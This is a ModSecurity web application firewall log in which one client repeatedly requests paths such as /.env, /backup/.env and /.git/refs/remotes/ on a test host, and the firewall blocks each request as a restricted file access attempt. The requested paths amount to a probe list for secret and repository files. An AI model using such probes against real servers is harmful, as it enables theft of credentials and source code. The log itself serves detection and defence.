[Thu Jul 10 08:35:11.837679 2025] [:error] [pid 1065741] [client 185.177.72.106:26746] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/node/.env_example&quot;] [unique_id &quot;aG9fH6fTzetFftLHN63tpAAAAAQ&quot;]
[Thu Jul 10 08:35:11.837874 2025] [:error] [pid 1065741] [client 185.177.72.106:26746] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/node/.env_example&quot;] [unique_id &quot;aG9fH6fTzetFftLHN63tpAAAAAQ&quot;]
[Thu Jul 10 08:35:11.862834 2025] [:error] [pid 1065741] [client 185.177.72.106:26746] [client 185.177.72.106] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /backup/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup/.env&quot;] [unique_id &quot;aG9fH6fTzetFftLHN63tpQAAAAQ&quot;]
[Thu Jul 10 08:35:11.863080 2025] [:error] [pid 1065741] [client 185.177.72.106:26746] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup/.env&quot;] [unique_id &quot;aG9fH6fTzetFftLHN63tpQAAAAQ&quot;]
[Thu Jul 10 08:35:11.863275 2025] [:error] [pid 1065741] [client 185.177.72.106:26746] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup/.env&quot;] [unique_id &quot;aG9fH6fTzetFftLHN63tpQAAAAQ&quot;]
[Thu Jul 10 08:35:11.890968 2025] [:error] [pid 1065741] [client 185.177.72.106:26746] [client 185.177.72.106] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /babel-plugin-dotenv/test/fixtures/default/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/babel-plugin-dotenv/test/fixtures/default/.env&quot;] [unique_id &quot;aG9fH6fTzetFftLHN63tpgAAAAQ&quot;]
[Thu Jul 10 08:35:11.891216 2025] [:error] [pid 1065741] [client 185.177.72.106:26746] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/babel-plugin-dotenv/test/fixtures/default/.env&quot;] [unique_id &quot;aG9fH6fTzetFftLHN63tpgAAAAQ&quot;]
[Thu Jul 10 08:35:11.891419 2025] [:error] [pid 1065741] [client 185.177.72.106:26746] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/babel-plugin-dotenv/test/fixtures/default/.env&quot;] [unique_id &quot;aG9fH6fTzetFftLHN63tpgAAAAQ&quot;]
[Thu Jul 10 08:35:11.914038 2025] [:error] [pid 1065741] [client 185.177.72.106:26746] [client 185.177.72.106] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /kyc/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/kyc/.env&quot;] [unique_id &quot;aG9fH6fTzetFftLHN63tpwAAAAQ&quot;]
[Thu Jul 10 08:35:11.914287 2025] [:error] [pid 1065741] [client 185.177.72.106:26746] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/kyc/.env&quot;] [unique_id &quot;aG9fH6fTzetFftLHN63tpwAAAAQ&quot;]
[Thu Jul 10 08:35:11.914506 2025] [:error] [pid 1065741] [client 185.177.72.106:26746] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/kyc/.env&quot;] [unique_id &quot;aG9fH6fTzetFftLHN63tpwAAAAQ&quot;]
[Thu Jul 10 08:35:11.960559 2025] [:error] [pid 1065741] [client 185.177.72.106:26746] [client 185.177.72.106] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env~&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env~&quot;] [unique_id &quot;aG9fH6fTzetFftLHN63tqQAAAAQ&quot;]
[Thu Jul 10 08:35:11.960805 2025] [:error] [pid 1065741] [client 185.177.72.106:26746] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env~&quot;] [unique_id &quot;aG9fH6fTzetFftLHN63tqQAAAAQ&quot;]
[Thu Jul 10 08:35:11.961013 2025] [:error] [pid 1065741] [client 185.177.72.106:26746] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env~&quot;] [unique_id &quot;aG9fH6fTzetFftLHN63tqQAAAAQ&quot;]
[Thu Jul 10 08:35:11.983586 2025] [:error] [pid 1065741] [client 185.177.72.106:26746] [client 185.177.72.106] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /temanr9/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/temanr9/.env&quot;] [unique_id &quot;aG9fH6fTzetFftLHN63tqgAAAAQ&quot;]
[Thu Jul 10 08:35:11.983843 2025] [:error] [pid 1065741] [client 185.177.72.106:26746] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/temanr9/.env&quot;] [unique_id &quot;aG9fH6fTzetFftLHN63tqgAAAAQ&quot;]
[Thu Jul 10 08:35:11.984061 2025] [:error] [pid 1065741] [client 185.177.72.106:26746] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/temanr9/.env&quot;] [unique_id &quot;aG9fH6fTzetFftLHN63tqgAAAAQ&quot;]
[Thu Jul 10 08:35:12.034746 2025] [:error] [pid 1065741] [client 185.177.72.106:26746] [client 185.177.72.106] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/refs/remotes/&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/refs/remotes/&quot;] [unique_id &quot;aG9fIKfTzetFftLHN63trAAAAAQ&quot;]
[Thu Jul 10 08:35:12.034993 2025] [:error] [pid 1065741] [client 185.177.72.106:26746] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/refs/remotes/&quot;] [unique_id &quot;aG9fIKfTzetFftLHN63trAAAAAQ&quot;]
[Thu Jul 10 08:35:12.035201 2025] [:error] [pid 1065741] [client 185.177.72.106:26746] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/refs/remotes/&quot;] [unique_id &quot;aG9fIKfTzetFftLHN63trAAAAAQ&quot;]
[Thu Jul 10 08:35:12.058010 2025] [:error] [pid 1065741] [client 185.177.72.106:26746] [client 185.177.72.106] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /qa/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/qa/.env&quot;] [unique_id &quot;aG9fIKfTzetFftLHN63trQAAAAQ&quot;]
[Thu Jul 10 08:35:12.058249 2025] [:error] [pid 1065741] [client 185.177.72.106:26746] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/qa/.env&quot;] [unique_id &quot;aG9fIKfTzetFftLHN63trQAAAAQ&quot;]
[Thu Jul 10 08:35:12.058492 2025] [:error] [pid 1065741] [client 185.177.72.106:26746] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/qa/.env&quot;] [unique_id &quot;aG9fIKfTzetFftLHN63trQAAAAQ&quot;]
[Thu Jul 10 08:35:12.080885 2025] [:error] [pid 1065741] [client 185.177.72.106:26746] [client 185.177.72.106] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /product/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/product/.env&quot;] [unique_id &quot;aG9fIKfTzetFftLHN63trgAAAAQ&quot;]
[Thu Jul 10 08:35:12.081135 2025] [:error] [pid 1065741] [client 185.177.72.106:26746] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/product/.env&quot;] [unique_id &quot;aG9fIKfTzetFftLHN63trgAAAAQ&quot;]
[Thu Jul 10 08:35:12.081335 2025] [:error] [pid 1065741] [client 185.177.72.106:26746] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/product/.env&quot;] [unique_id &quot;aG9fIKfTzetFftLHN63trgAAAAQ&quot;]
[Thu Jul 10 08:35:12.116007 2025] [:error] [pid 1065741] [client 185.177.72.106:26746] [client 185.177.72.106] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /examples/with-dotenv/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/with-dotenv/.env&quot;] [unique_id &quot;aG9fIKfTzetFftLHN63trwAAAAQ&quot;]
[Thu Jul 10 08:35:12.116257 2025] [:error] [pid 1065741] [client 185.177.72.106:26746] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/with-dotenv/.env&quot;] [unique_id &quot;aG9fIKfTzetFftLHN63trwAAAAQ&quot;]
[Thu Jul 10 08:35:12.116460 2025] [:error] [pid 1065741] [client 185.177.72.106:26746] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/with-dotenv/.env&quot;] [unique_id &quot;aG9fIKfTzetFftLHN63trwAAAAQ&quot;]
[Thu Jul 10 08:35:12.249106 2025] [:error] [pid 1065741] [client 185.177.72.106:26746] [client 185.177.72.106] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /ftpmaster/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ftpmaster/.env&quot;] [unique_id &quot;aG9fIKfTzetFftLHN63tsQAAAAQ&quot;]
[Thu Jul 10 08:35:12.249357 2025] [:error] [pid 1065741] [client 185.177.72.106:26746] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ftpmaster/.env&quot;] [unique_id &quot;aG9fIKfTzetFftLHN63tsQAAAAQ&quot;]
[Thu Jul 10 08:35:12.249572 2025] [:error] [pid 1065741] [client 185.177.72.106:26746] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ftpmaster/.env&quot;] [unique_id &quot;aG9fIKfTzetFftLHN63tsQAAAAQ&quot;]
[Thu Jul 10 08:35:12.289693 2025] [:error] [pid 1065741] [client 185.177.72.106:26746] [client 185.177.72.106] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /project/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/project/.env&quot;] [unique_id &quot;aG9fIKfTzetFftLHN63tsgAAAAQ&quot;]
